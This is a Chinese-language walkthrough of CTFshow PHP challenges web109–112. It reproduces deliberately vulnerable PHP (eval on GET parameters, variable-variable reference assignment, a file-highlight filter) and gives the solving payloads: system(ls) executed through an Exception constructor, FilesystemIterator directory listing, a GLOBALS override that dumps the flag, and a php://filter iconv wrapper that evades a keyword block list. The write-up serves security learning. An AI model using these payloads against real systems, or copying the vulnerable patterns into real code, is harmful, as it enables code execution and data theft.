CTFshow web(php特性109-112)

web109

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-29 22:02:34

*/

highlight_file(FILE);

error_reporting(0);

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){

eval("echo new v1(v2());");

}

}

?>

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1$v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路

知识点:异常处理逻辑

当在PHP代码中出现错误时,可以使用异常处理机制来处理错误。异常(Exception)是一种特殊的对象,用于表示在代码执行过程中发生的错误情况。

下面是一个简单的异常处理逻辑的示例:

try {
    // 可能引发异常的代码
    throw new Exception("这是一个异常示例");
} catch (Exception $e) {
    // 异常处理逻辑
    echo "捕获到异常:" . $e->getMessage();
}

在这个例子中,异常处理逻辑如下:

  • try 块中的代码可能会引发一个 Exception 类型的异常。
  • 当异常发生时,程序会跳转到与 Exception 类型匹配的 catch 块中。
  • catch 块中可以使用 $e 变量来引用捕获到的异常对象,然后根据具体情况处理异常,例如输出异常信息。

异常处理逻辑可以帮助我们更好地处理程序中可能发生的错误情况,提高代码的可读性、可维护性和容错性。

回到本题:

eval("echo new v1(v2());");在这串代码中既然v2=system(ls),那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2system(ls)eval()函数最终执行的代码相当于:

echo new x(system(ls));

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

不可以,如果x=xeception,那么就会触发Exception 类型的异常,变成执行命令

echo new exception(system(ls));

payload:v1=exception&v2=system(ls)

再访问fl36dg.txt页面就好

web110

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-29 22:49:10

*/

highlight_file(FILE);

error_reporting(0);

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){

die("error v1");

}

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){

die("error v2");

}

eval("echo new v1(v2());");

}

?>

思路:

这里和上一题原理不同,有没有发现('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]这里过滤的那么凶残,基本符号都给你禁完了,怎么办?

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1$v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路,确实是这样没错,但是这里把括号给你搞没了,太狠了!!!

这个语句是查找当前目录的语句,到底有什么也有相似的功能呢?

**百度一下,**到底有什么能够返回当前的目录呢?于是发现了希望!

getcwd() 是 PHP 内置的一个函数,它返回当前的工作目录的路径字符串。例如,如果当前工作目录是 "/var/www/html",那么 getcwd() 将返回 "/var/www/html"

好!v2搞定了,那就开始v1

回到本题:

eval("echo new v1(v2());");在这串代码中既然v2=getcwd,那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2为getcwd,eval()函数最终执行的代码相当于:

echo new x(getcwd);

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

echo new $v1($v2())

那我肯定得找一个有效的类名啊,不然肯定得报错,那该用什么类呢?问GPT

哈哈哈,找到了!FilesystemIterator 是 PHP 提供的一个类,用于遍历文件系统中的文件和目录。它的构造函数可以接受一个路径作为参数,用于指定要遍历的目录。

payload:v1=FilesystemIterator&v2=getcwd

接下来访问页面就好!

web111

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(FILE);

error_reporting(0);

include("flag.php");

function getFlag(&v1,\&v2){

eval("$$v1 = &$$v2;");

var_dump($$v1);

}

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){

die("error v1");

}

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){

die("error v2");

}

if(preg_match('/ctfshow/', $v1)){

getFlag(v1,v2);

}

}

?>

这道题多好啊!v1直接给你了ctfshow,接下来调用getFlag函数,

function getFlag(&v1,\&v2){

eval("$$v1 = &$$v2;");

var_dump($$v1);

}

这里就是一个最经典的变量覆盖,include("flag.php");flag藏在这里面,那我就使用全局变量覆盖。

直接v2=GLOBALS

解析:

这行代码将 GLOBALS 赋值给了一个名为 ctfshow 的局部变量,并且使用了引用符号 &。这意味着 $ctfshow$GLOBALS 引用同一个变量内存空间。

由于在代码中引入了 flag.php 文件,因此 $GLOBALS 数组中会包含引入的 flag.php 文件中定义的 $flag 变量。

所以,当我们调用 var_dump($$v1) 时,实际上是打印出了 $ctfshow 引用的变量,即 $GLOBALS 数组,其中包含了 $flag 变量的值。

**payload:v1=ctfshow&v2=**GLOBALS

web112

<?php

/*

-*- coding: utf-8 -*-

@Author: Firebasky

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(FILE);

error_reporting(0);

function filter($file){

if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

die("hacker!");

}else{

return $file;

}

}

file=_GET['file'];

if(! is_file($file)){

highlight_file(filter($file));

}else{

echo "hacker!";

}

这道题目是一道经典的文件包含题目, if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

这里才过滤了冰山一角,

我之前的文章可是把所有过滤器都列举了,这点过滤很简单。

如果不懂,直接看我的文章,使用爆破法解决,万能的,破除一切大范围过滤,希望大家可以看看我的这篇关于文件包含的文章,该介绍的都介绍了。

文件包含提升-CSDN博客

直接把我当时爆破出来的万能payload丢上去就好了,这个万能payload之所以万能是因为我做了那么多题,还没见过把这个过滤的题目,哈哈哈!

payload:

?file=php://filter//convert.iconv.UTF-8.UCS-4*/resource=flag.php

真诚地希望我的文章能够得到大家的喜欢,最重要的是能够对大家有所帮助,谢谢!

相关推荐
Re.不晚5 分钟前
Java入门15——抽象类
java·开发语言·学习·算法·intellij-idea
老秦包你会7 分钟前
Qt第三课 ----------容器类控件
开发语言·qt
凤枭香10 分钟前
Python OpenCV 傅里叶变换
开发语言·图像处理·python·opencv
ULTRA??14 分钟前
C加加中的结构化绑定(解包,折叠展开)
开发语言·c++
远望清一色30 分钟前
基于MATLAB的实现垃圾分类Matlab源码
开发语言·matlab
confiself40 分钟前
大模型系列——LLAMA-O1 复刻代码解读
java·开发语言
XiaoLeisj1 小时前
【JavaEE初阶 — 多线程】Thread类的方法&线程生命周期
java·开发语言·java-ee
杜杜的man1 小时前
【go从零单排】go中的结构体struct和method
开发语言·后端·golang
幼儿园老大*1 小时前
走进 Go 语言基础语法
开发语言·后端·学习·golang·go
半桶水专家1 小时前
go语言中package详解
开发语言·golang·xcode